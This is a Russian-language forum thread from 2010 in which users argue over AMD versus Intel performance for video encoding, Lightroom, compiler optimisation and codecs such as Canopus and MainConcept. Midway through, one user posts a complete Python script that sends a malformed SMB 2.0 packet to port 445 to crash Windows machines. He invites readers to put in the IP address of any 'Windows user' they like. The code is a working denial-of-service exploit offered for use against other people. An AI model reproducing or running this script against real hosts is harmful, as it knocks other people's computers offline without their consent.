Сообщений в теме: 273

[lyakhovich]

Epigon (13.8.2010, 20:58) писал:

а оптиbтзовать под процессор..... это не переписать программу
так что не велик труд

Дело в том что исходников нормального софта нет и особо ничего не оптимизирушь. И не важно под какую ОС оно работает. А примеры софта с открытым кодом показывают что либер все-таки не AMD, как не оптимизируй

[Epigon]

lyakhovich (14.8.2010, 1:07) писал:

Избыточна? т.е. Вы считаете что закодировать (именно закодировать а не наоборот, наоборот действительно не интересно) час фул-хд кодеком h.264 это быстро и быстрее уже не надо?
Ну да. И все равно быстрее работают на интеловских камнях

про закодировать не знаю, я не могу говорить в том в чем не разбираюсь, согласитесь
но и вы же не мерели как оно под линухом что быстрее не так ли?

Ну да. И все равно быстрее работают на интеловских камнях
это откровенная неправда пример я приводил

[lyakhovich]

Engineer (13.8.2010, 20:58) писал:

Большинство тех, кто нападает подобным образом, попросту работают в той системе, в которой привыкли и другой не хотят видеть ввиду отсутствия необходимости, ибо их все устраивает.

И в мыслях не было нападать. Мы начали вообще не с ОС, а с мифической возможности оптимизации ПО, после чего оно на амд будет работать быстрее интела. Пользуйтесь чем угодно, мне без разницы.

[Epigon]

lyakhovich (14.8.2010, 1:09) писал:

Дело в том что исходников нормального софта нет и особо ничего не оптимизирушь. И не важно под какую ОС оно работает. А примеры софта с открытым кодом показывают что либер все-таки не AMD, как не оптимизируй

Как раз и показывают что интел сильно сливает, я пример дал,вы нет
а что для ваз нормальный софт тогда вообще? он что под виндовс есть чтоли? и там его не было и не будет никогда...

[lyakhovich]

Epigon (13.8.2010, 22:11) писал:

Ну да. И все равно быстрее работают на интеловских камнях
это откровенная неправда пример я приводил

Одной-единственной Вашей программы? Я Вам предложил оптимизировать реальный алгоритм, коим пользуется куда большее количество людей под АМД. Какая ОС - вообще без разницы, если хотите сделайте даже на амд под линукс и попробуйте побить результат интела под виндовсом. Привел ссылку на результаты. Вы же делать это не хотите.

Epigon (13.8.2010, 22:14) писал:

Как раз и показывают что интел сильно сливает, я пример дал,вы нет
а что для ваз нормальный софт тогда вообще? он что под виндовс есть чтоли? и там его не было и не будет никогда...

Считайте как хотите. пример я давал - ссылку на бенчмарк кодека x264. Вы же привели только голословные 60 процентов

[Epigon]

lyakhovich (14.8.2010, 1:16) писал:

Одной-единственной Вашей программы? Я Вам предложил оптимизировать реальный алгоритм, коим пользуется куда большее количество людей под АМД. Какая ОС - вообще без разницы, если хотите сделайте даже на амд под линукс и попробуйте побить результат интела под виндовсом. Привел ссылку на результаты. Вы же делать это не хотите.

Я дал хоть один, вы пока ни одного
я бы попробовал, но я не в зуб ногой в декодировании видео, пересобрать то я все смогу а вот запустить нет
не разу не делал просто этого
пример2 простое обращение матрицы по методу гаусса 10 000 на 10 000
вот проверял неделю на зад интел проиграл 40%


не было там сылки или я пропустил?...
и что значит голословные? я же наверно тестирую программы и вон сколько отзывав все таки 60 000
так что не совсем голословные... если вы не верите не одному моему слову, ваше право, но когда я что то проверял и знаю я так и пишу, а когда не знаю, так и говорю - я не знаю

[Engineer]

lyakhovich (13.8.2010, 22:07) писал:

Ну да. И все равно быстрее работают на интеловских камнях

Отнюдь, при компиляции не используется код оптимизациии под Интел (ибо gcc ), отсюда нет проблем с производительностью под AMD, VIA , etc

[Epigon]

Engineer (14.8.2010, 1:25) писал:

вот и я тоже самое пытаюсь донести...
посмотоели сравнение?

[lyakhovich]

Engineer (13.8.2010, 22:25) писал:

Отнюдь, при компиляции не используется код оптимизациии под Интел (ибо gcc ), отсюда нет проблем с производительностью под AMD, VIA , etc

Все-таки посмотрите бенчмарк x264 (я его нашел от балды, первое что пришло в голову). Это программа собранная gcc.

Сейчас кто-нибудь выпускает рабочие станции на АМД?

[Epigon]

а где посмотреть? вы же вроде давали ссылку? если не затруднит кинте еще раз?
а вы уверены что оптимизировалась для AMD
без оптимизации не включиться SSE3, SSE4A, 3dNOW!, enhanced 3dNOW!

[Engineer]

lyakhovich (13.8.2010, 22:30) писал:

Все-таки посмотрите бенчмарк x264 (я его нашел от балды, первое что пришло в голову). Это программа собранная gcc.

Сейчас кто-нибудь выпускает рабочие станции на АМД?

Посмотрите реальные тесты, а не синтетику. И причем тут рабочие станции? С учетом агрессивной политики Интела, о многом можно задуматья

lyakhovich (13.8.2010, 22:12) писал:

поскипано... а с мифической возможности оптимизации ПО, после чего оно на амд будет работать быстрее интела. Пользуйтесь чем угодно, мне без разницы.

она далеко не мифическая, я приводил ссылку

Epigon (13.8.2010, 22:27) писал:

вот и я тоже самое пытаюсь донести...
посмотоели сравнение?

цифры ни о чем, мне бы реальные кадры
если Вас нен затруднит

Сообщение отредактировал Engineer: 13 August 2010 - 21:44

[Epigon]

Engineer (14.8.2010, 1:50) писал:

она далеко не мифическая, я приводил ссылку
цифры ни о чем, мне бы реальные кадры
если Вас нен затруднит

так я выложил кадры....

[Engineer]

Epigon (13.8.2010, 22:33) писал:

а где посмотреть? вы же вроде давали ссылку? если не затруднит кинте еще раз?
а вы уверены что оптимизировалась для AMD
без оптимизации не включиться SSE3, SSE4A, 3dNOW!, enhanced 3dNOW!

И вообще, испльзуйте вместо IP_ADDR адрес нужного Вам виндузятника

#!/usr/bin/python

#When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error
from socket import socket
from time import sleep
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

Epigon (13.8.2010, 23:01) писал:

так я выложил кадры....

куда?
возможно я не в курсе?

[Epigon]

куда?
возможно я не в курсе?
seleddtsov.com/tmp/
и в личку написал

[Engineer]

Epigon (13.8.2010, 23:21) писал:

куда?
возможно я не в курсе?
seleddtsov.com/tmp/
и в личку написал

Спасибо, посмотрел. С ufraw, действительно лучше.

[Ambaa baa]

Al_lexx (12.8.2010, 23:42) писал:

В том, что тут кто то слишком любит амд (как можно любить кусок кремния - я не знаю). .

Тут кое кто не любит некомпетентные высказывания по поводу характеристик техники, в которой хорошо разбирается.
В принципе, все могут заблуждаться, но другой вопрос, когда заблуждаются воинственно...

Сергей-К (12.8.2010, 19:19) писал:

Мелкие проекты можно монтировать и дома, что с успехом и делается многими фрилансерами.
Вот, например,

это видео видеоооператор при мне смонтировал за несколько часов на ноуте в полевых условиях.
Как снималось и монтировалось

это видео, я не видел, но снималось оно за 2 дня в режиме пьянки, а потом смонтировалось как обычно.
http://vimeo.com/8170296
На съемку этого клипа ушло тоже 2 или 3 дня и около дня на монтаж - дома, естественно.
В общем такого плана заказы спокойно тянут фрилансеры. Есть, конечно же более серьезные проекты, их могут потянуть большие организации.
В чем суть вопроса - для меня не совсем понятно.

Снималось на видеокамеру или зеркалку?
...
Увидел - 5D

Сообщение отредактировал Amba Baaba: 16 August 2010 - 09:40

[Ambaa baa]

lyakhovich (13.8.2010, 22:27) писал:

Эти мифы растут оттуда, что реальные приложения (видеомонтаж, кодеки, 3-д графика, САПРы)работают быстрее именно на интелах.

И ссылку на тесты дадите?

lyakhovich (13.8.2010, 22:53) писал:

Прям всемирный заговор разработчиков софта против амд

Да почему - всемирный.
1 единственный главный конкурент гадит. Даже удивительно было бы если бы не гадил.
Все логично.

lyakhovich (13.8.2010, 23:19) писал:

Я в курсе что такое линукс и как там без проблем все компилируется.
Проблем нет. Но и софта нет.
Соберите x264 так чтобы он на ADM x2 3200 работал быстрее чем штатная сборка на i7

А корректно ли сравнивать процессоры разных поколений и совсем разной стоимости?

Engineer (13.8.2010, 23:35) писал:

зачем? 99,9 % дистрибутивов не используют компилятор от Интел

Я даже скажу - какой.
Если программа современная и компилируется в коды процессора (а не .NET), то, скорее всего использует или MSVC или GCC.

Сообщение отредактировал Amba Baaba: 16 August 2010 - 09:56

[Ambaa baa]

lyakhovich (14.8.2010, 1:09) писал:

Дело в том что исходников нормального софта нет и особо ничего не оптимизирушь.

Это уже задача производителя.
Под что они на самом деле оптимизируют - мало кто достоверно знает.

[Ambaa baa]

lyakhovich (14.8.2010, 1:30) писал:

Все-таки посмотрите бенчмарк x264 (я его нашел от балды, первое что пришло в голову). Это программа собранная gcc.

Может, лучше глянуть на тесты Lightroom
http://www.mtbgallery.com/upload/lr-test/l...ark-results.htm

Цитата

Сейчас кто-нибудь выпускает рабочие станции на АМД?

http://h10010.www1.hp.com/wwpc/ru/ru/sm/WF...96-3328896.html

lyakhovich (13.8.2010, 22:53) писал:

Прям всемирный заговор разработчиков софта против амд

Желаю Вам творческих успехов в оптимизации фотошопа, премьера, файнал ката, 3дмакса, прое и автодеск инвентора.

На досуге можете попробовать оптимизировать хотя бы x264 под amd.
http://www.techarp.c.../sd/results.htm

Ну начнем хотя бы с того, что существует несколько вариантов бинарников x264 (т.е скомпилированных под разные процессоры).
Какие применены в данных тестах, под что они оптимизированы - загадка.

[astepin]

Epigon (13.8.2010, 19:43) писал:

так программы конечно надо самому собирать и оптимизиорвать под процессор.. а иначе и будет неведомо что....
тогда и рвет амд интела как тузик грелку... вот и вся тайна в общем то...

Сесть так вечерочком и пересобрать себе премьер под АМД

[Epigon]

Может что то и будет работать лучше под интел...
но программы с большим количеством вычислений и интенсивным не кучным оспользованием пямяти...традиционнр значительно лучше работают на АМД,, а про многоядерность, вообще маркетинг чистого разлива... подавляющее большинство алгоритмов не допускает распарареливания, это просто к слову...

[Epigon]

а тест лайтрума весьма показателен кстати
AMD Athlon 64 X2 2 3015 2Gb DDR2 800MHz XP Prof 64-bit 2.1 32 bit 1:29 0:38
Intel Core i7 920 4 3800 6Gb DDR3 2048MBx3 Windows 7 64 bit 2.3 64 bit 0:43 0:17

запустили 64битный лайтрум на процессоре с 4 ядрами большей частотой и более бысрой памятью
и получили 2х кратное преимущество
преред 32 битной программой на 2х ядрах на проце с меньшей частотой и медленной памятью
тут как говориться, скорее в пользу амд результат
факты все таки вещь упрямая....

[Михаил Мадорский]

astepin (17.8.2010, 2:21) писал:

>ЕСЛИ ВИДЕОКАРТА nVidia поддерживает технологию CUDA

Какой популярный софт для работы с видео использует CUDA кроме кодеров/декодеров mp4?

CS5 поддерживает, кому не нравиться, можно юзать ЭТО !!=140 мб - хоть там и не заявлено о поддержке CUDO (сам жду не дождусь) но многоядерник задействует полностью, работает шустро

[kestrel]

mr.trenzel (17.8.2010, 2:26) писал:

CS5 поддерживает, кому не нравиться, можно юзать ЭТО !!=140 мб - хоть там и не заявлено о поддержке CUDO (сам жду не дождусь) но многоядерник задействует полностью, работает шустро

Зато канопус - лидер по качеству кодирования видео. И еще умеет грузить своей задачей соседние компы по сетке (если несколько компов объеденены в одну сеть) когда просчитывает (кодирует) материал.

Кстати спасибо за версию 5,51. У меня ее еще не было. Стоит более ранняя.

А Премьер CS5 требует винду строго 64-х битную. На 32-х битную даже не установится (CS4 пойдет и на 32-х битной). Это так.. к слову...

[Ambaa baa]

kestrel (17.8.2010, 6:45) писал:

Зато канопус - лидер по качеству кодирования видео. И еще умеет грузить своей задачей соседние компы по сетке (если несколько компов объеденены в одну сеть) когда просчитывает (кодирует) материал.

Сжатие можно осуществлять другой программой, СПЕЦИАЛИЗИРОВАННОЙ. Собственно и не лидер Canopus в этом случае.

[kestrel]

Лидер. У канопуса самый лучшие кодеки. СОБСТВЕННЫЕ.
А специализированная программа кодер опять таки канопусовская лучшая (много перепробовал и это не только мое мнение). Canopus ProCoder.

[lyakhovich]

Epigon (17.8.2010, 3:01) писал:

а тест лайтрума весьма показателен кстати
AMD Athlon 64 X2 2 3015 2Gb DDR2 800MHz XP Prof 64-bit 2.1 32 bit 1:29 0:38
Intel Core i7 920 4 3800 6Gb DDR3 2048MBx3 Windows 7 64 bit 2.3 64 bit 0:43 0:17

запустили 64битный лайтрум на процессоре с 4 ядрами большей частотой и более бысрой памятью
и получили 2х кратное преимущество
преред 32 битной программой на 2х ядрах на проце с меньшей частотой и медленной памятью
тут как говориться, скорее в пользу амд результат
факты все таки вещь упрямая....

Вы понимаете, что людям важен конечный результат? Он быстрее получается на интеле. Вот и вся арифметика. Тем кому компьютер нужен реально для работы, а не в интернете сидеть, выигрыш в 2 раза по скорости очень важен, и не важно что компьютер будет дороже хоть на 500 долларов, окупится за месяц. И именно по этому подавляющее большинство брендовых рабочих станций выпускается на интеле (ту ссылку которую кто-то выше давал не рассматриваем, это не рабочие станции а компы для секрктарш). И дело тут не в агрессивной политике, а исключительно в производительности. Никто не захочет выпускать медленные компы.
Хотя справедливости ради стоит отметить, что для своего времени Атлон64 был действительно очень удачным решением. Интел тогда выпускал отстойные Р-4 с гипертридингом, на мой взгляд вообще на редкость неудачное решение из-за конвейера огромной длины и потерях на этом при переключении задач операционкой. Но с того времени была разработана архитектура core и ее дальнейшие развития, избавленные от этих недостатков, а АМД по сути ничего интересного так и не предложил, к тому же умудрился за это время растерять все свои позиции на рынке и чуть ли не обанкротится.

[lyakhovich]

kestrel (17.8.2010, 11:53) писал:

Лидер. У канопуса самый лучшие кодеки. СОБСТВЕННЫЕ.
А специализированная программа кодер опять таки канопусовская лучшая (много перепробовал и это не только мое мнение). Canopus ProCoder.

А есть результаты сравнительного анализа кодеков MPEG-2 к примеру? И какие еще профессиональные продукты Вы пробовали и чем остались недовольны?
Мы отказались от прокодера в пользу MainConcept. Отличное качество, а производительность на 4-х ядерном процессоре в разы (реально в разы, раза в 3) выше прокодера. К тому же прокодер делает очень странные вещи при конвертации из hd в sd.